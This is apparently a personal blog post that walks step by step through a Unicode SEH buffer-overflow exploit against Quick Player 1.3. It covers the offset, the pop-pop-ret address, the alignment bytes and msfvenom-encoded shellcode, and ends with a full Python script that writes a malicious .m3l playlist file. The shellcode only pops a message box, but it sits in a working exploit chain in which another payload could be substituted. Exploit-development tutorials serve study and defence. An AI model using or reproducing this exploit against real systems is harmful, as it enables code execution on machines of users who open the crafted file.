Quick Player 1.3 - Unicode SEH

The Bug

Quick Player suffers from a Structered Exception Handling vulnerability, and as it parses characters through unicode, it falls under the Unicode exploitation field.

Initial PoC:

buffer = "A" * 5000

f = open ("poc.m3l", "w")

f.write(buffer)

f.close()

Once the script is run, a file named “poc.m3l”, which will overflow the application, must be generated. Furthermore, the application is open, and the bottom-right button with the letters “PL” is selected:

Moreover, the tab “File” is selected, choosing the option “Load List”:

The generated file is chosen:

If everything went as intended, the SEH values must have been overwritten:

In order to find the offset, a chain of 5000 characters is generated with msf-create_pattern:

root@whitecr0wz:~# msf-pattern_create -l 5000 > p 

Screenshot of the current PoC:

With the command !mona findmsp the offset may be found:

Next step is to verify wether the offset is correct. However, instead of using 4 characters for nSEH and SEH, 2 must be used, as they will be separated with a null character by its nature.

Current poc:

buffer = "A" * 536 + "BB" + "CC"

f = open ("poc.m3l", "w")

f.write(buffer)

f.close()

Once the process is repeated, the SEH values are overwritten as intended:

Listing modules:

Even though there are plenty of modules to pick from, the exe module already contains safe address for these scenarios, such as 0x004100F2 or 0x004A0041.

Getting PPR unicode-friendly sequences from the module “Quick Player.exe”

Hijacking the flow

Current poc:

ret = "\x71\x41" + "\xF2\x41" # 0x004100f2 : pop esi # pop ebx # ret 0x04 | startnull,unicode {PAGE_EXECUTE_READWRITE} [Quick Player.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.3.0.0 (C:\Program Files\Quick Player\Quick Player.exe)

buffer = "A" * 536 + ret + "C" * 200

f = open ("poc.m3l", "w")

f.write(buffer)

f.close()

Exploiting the application once again, the execution follows as it is intended:

Alignments

From looking the register, it is seen that EAX seems intact:

This is great for alignments. The following steps to align such will be the same as in the previous posts regarding the same type of vulnerability, pushing the value of ESP to EAX and adding 100 to the latter. In addition, padding will be used for EIP to be aligned to EAX.

Current PoC:

alignment = "\x54\x71" # push esp, padding
alignment += "\x58\x71" # push eax, padding

ret = "\x71\x41" + "\xF2\x41" # 0x004100f2 : pop esi # pop ebx # ret 0x04 | startnull,unicode {PAGE_EXECUTE_READWRITE} [Quick Player.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.3.0.0 (C:\Program Files\Quick Player\Quick Player.exe)

buffer = "A" * 536 + ret + "\x41\x71\x41\x71" + alignment + "C" * 200

f = open ("poc.m3l", "w")

f.write(buffer)

f.close()

Registers with the new poc:

With the new additions to the alignment, these should add 100 to EAX:

alignment = "\x54\x71"        # push esp, padding
alignment += "\x58\x71"       # push eax, padding
alignment += "\x05\x20\x22"   # add eax, 0x22002000
alignment += "\x71"           # Padding
alignment += "\x2D\x19\x22"   # sub eax, 0x22001900
alignment += "\x71"           # Padding
alignment += "\x50\x71"       # push eax, padding
alignment += "\xC3" 

ret = "\x71\x41" + "\xF2\x41" # 0x004100f2 : pop esi # pop ebx # ret 0x04 | startnull,unicode {PAGE_EXECUTE_READWRITE} [Quick Player.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.3.0.0 (C:\Program Files\Quick Player\Quick Player.exe)

buffer = "A" * 536 + ret + "\x41\x71\x41\x71" + alignment + "C" * 200

f = open ("poc.m3l", "w")

f.write(buffer)

f.close()

EAX points to C’s:

Through some testing, i found out that the padding required to reach EAX was 73 bytes:

alignment = "\x54\x71"        # push esp, padding
alignment += "\x58\x71"       # push eax, padding
alignment += "\x05\x20\x22"   # add eax, 0x22002000
alignment += "\x71"           # Padding
alignment += "\x2D\x19\x22"   # sub eax, 0x22001900
alignment += "\x71"           # Padding
alignment += "\x50\x71"       # push eax, padding
alignment += "\xC3" 

ret = "\x71\x41" + "\xF2\x41" # 0x004100f2 : pop esi # pop ebx # ret 0x04 | startnull,unicode {PAGE_EXECUTE_READWRITE} [Quick Player.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.3.0.0 (C:\Program Files\Quick Player\Quick Player.exe)

buffer = "A" * 536 + ret + "\x41\x71\x41\x71" + alignment + "A" * 73 + "B" * 20 + "C" * 20

f = open ("poc.m3l", "w")

f.write(buffer)

f.close()

If the padding is correct, EAX should directly point to the B’s instead of the A’s.

Splendid.

Generating some generous shellcode

Shellcode is generated with the use of the unicode_mixed encoder in msfvenom:

root@whitecr0wz:~# msfvenom -p windows/messagebox TEXT="Thanks for reading the post!" -e x86/unicode_mixed -f py EXITFUNC=thread BufferRegister=EAX > shellcode 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/unicode_mixed
x86/unicode_mixed succeeded with size 700 (iteration=0)
x86/unicode_mixed chosen with final size 700
Payload size: 700 bytes
Final size of py file: 3405 bytes
root@whitecr0wz:~# 

Final poc:

# msfvenom -p windows/messagebox TEXT="Thanks for reading the post!" -e x86/unicode_mixed -f py EXITFUNC=thread BufferRegister=EAX > shellcode 
# Payload size: 700 bytes

buf =  b""
buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49"
buf += b"\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
buf += b"\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41"
buf += b"\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51"
buf += b"\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31"
buf += b"\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41"
buf += b"\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41"
buf += b"\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41"
buf += b"\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41"
buf += b"\x47\x42\x39\x75\x34\x4a\x42\x77\x69\x68\x6b\x63\x6b"
buf += b"\x38\x59\x54\x34\x4c\x64\x6a\x54\x4c\x71\x7a\x32\x36"
buf += b"\x52\x52\x57\x4d\x61\x78\x49\x33\x34\x54\x4b\x51\x61"
buf += b"\x4e\x50\x42\x6b\x54\x36\x4c\x4c\x44\x4b\x72\x56\x6b"
buf += b"\x6c\x62\x6b\x4d\x76\x59\x78\x34\x4b\x31\x6e\x6b\x70"
buf += b"\x72\x6b\x6d\x66\x30\x38\x6e\x6f\x4d\x48\x44\x35\x78"
buf += b"\x73\x71\x49\x39\x71\x48\x51\x79\x6f\x47\x71\x43\x30"
buf += b"\x72\x6b\x32\x4c\x4d\x54\x4d\x54\x32\x6b\x4d\x75\x4d"
buf += b"\x6c\x72\x6b\x61\x44\x4c\x68\x71\x68\x4d\x31\x69\x5a"
buf += b"\x44\x4b\x30\x4a\x6a\x78\x72\x6b\x31\x4a\x4b\x70\x6d"
buf += b"\x31\x38\x6b\x78\x63\x6f\x44\x4e\x69\x42\x6b\x70\x34"
buf += b"\x52\x6b\x4d\x31\x5a\x4e\x6d\x61\x79\x6f\x70\x31\x67"
buf += b"\x50\x4b\x4c\x36\x4c\x62\x64\x69\x30\x34\x34\x6b\x57"
buf += b"\x67\x51\x58\x4f\x7a\x6d\x4d\x31\x49\x37\x48\x6b\x49"
buf += b"\x64\x4f\x4b\x33\x4c\x6e\x44\x6b\x78\x31\x65\x37\x71"
buf += b"\x72\x6b\x51\x4a\x4e\x44\x6b\x51\x4a\x4b\x71\x56\x54"
buf += b"\x4b\x7a\x6c\x4e\x6b\x34\x4b\x4f\x6a\x6d\x4c\x6b\x51"
buf += b"\x58\x6b\x32\x6b\x6a\x64\x62\x6b\x4b\x51\x68\x68\x55"
buf += b"\x39\x4f\x54\x4c\x64\x4d\x4c\x30\x61\x76\x63\x55\x62"
buf += b"\x39\x78\x4d\x59\x46\x74\x42\x69\x4a\x45\x54\x49\x59"
buf += b"\x32\x42\x48\x52\x6e\x4e\x6e\x5a\x6e\x78\x6c\x52\x32"
buf += b"\x6a\x48\x43\x6f\x6b\x4f\x69\x6f\x79\x6f\x61\x79\x30"
buf += b"\x45\x6c\x44\x47\x4b\x4a\x4f\x46\x6e\x39\x50\x31\x50"
buf += b"\x55\x37\x4d\x4c\x4e\x44\x6e\x72\x68\x68\x54\x4e\x79"
buf += b"\x6f\x49\x6f\x59\x6f\x75\x39\x6d\x75\x59\x78\x62\x48"
buf += b"\x52\x4c\x70\x6c\x4b\x70\x71\x31\x72\x48\x4e\x53\x4e"
buf += b"\x52\x6c\x6e\x63\x34\x52\x48\x54\x35\x42\x53\x33\x35"
buf += b"\x34\x32\x4c\x70\x77\x6b\x33\x58\x6f\x6c\x4f\x34\x5a"
buf += b"\x6a\x32\x69\x67\x76\x72\x36\x39\x6f\x31\x45\x49\x74"
buf += b"\x73\x59\x75\x72\x72\x30\x67\x4b\x56\x48\x55\x52\x70"
buf += b"\x4d\x57\x4c\x52\x67\x6b\x6c\x6d\x54\x62\x32\x58\x68"
buf += b"\x6f\x6f\x59\x6f\x59\x6f\x4b\x4f\x32\x48\x32\x4f\x72"
buf += b"\x58\x4e\x78\x4d\x50\x6f\x78\x51\x51\x61\x57\x31\x55"
buf += b"\x50\x42\x61\x58\x30\x4d\x30\x65\x32\x53\x62\x53\x4d"
buf += b"\x61\x59\x4b\x44\x48\x61\x4c\x4b\x74\x4a\x6a\x45\x39"
buf += b"\x4a\x43\x62\x48\x6e\x78\x6b\x70\x6f\x30\x4d\x50\x43"
buf += b"\x38\x52\x4f\x61\x63\x54\x34\x6b\x71\x61\x58\x42\x48"
buf += b"\x50\x65\x4f\x30\x50\x70\x52\x48\x62\x4e\x51\x57\x4b"
buf += b"\x70\x61\x64\x73\x38\x72\x45\x6f\x71\x30\x64\x32\x49"
buf += b"\x42\x48\x32\x4f\x51\x62\x6b\x70\x63\x42\x50\x68\x30"
buf += b"\x6b\x32\x53\x4f\x30\x73\x36\x42\x48\x62\x34\x73\x38"
buf += b"\x4f\x71\x50\x6e\x50\x31\x65\x79\x54\x48\x4e\x6c\x4d"
buf += b"\x54\x6d\x4c\x33\x59\x48\x61\x6d\x61\x57\x62\x71\x42"
buf += b"\x61\x43\x52\x31\x71\x42\x6b\x4f\x5a\x30\x6e\x51\x65"
buf += b"\x70\x62\x30\x49\x6f\x4e\x75\x6a\x68\x41\x41"

alignment = "\x54\x71"        # push esp, padding
alignment += "\x58\x71"       # push eax, padding
alignment += "\x05\x20\x22"   # add eax, 0x22002000
alignment += "\x71"           # Padding
alignment += "\x2D\x19\x22"   # sub eax, 0x22001900
alignment += "\x71"           # Padding
alignment += "\x50\x71"       # push eax, padding
alignment += "\xC3" 

ret = "\x71\x41" + "\xF2\x41" # 0x004100f2 : pop esi # pop ebx # ret 0x04 | startnull,unicode {PAGE_EXECUTE_READWRITE} [Quick Player.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.3.0.0 (C:\Program Files\Quick Player\Quick Player.exe)

buffer = "A" * 536 + ret + "\x41\x71\x41\x71" + alignment + "A" * 73 + buf + "C" * 200

f = open ("poc.m3l", "w")

f.write(buffer)

f.close()

EndGame


Contact: whitecr0wzwork@protonmail.com
Twitter: @whitecr0wz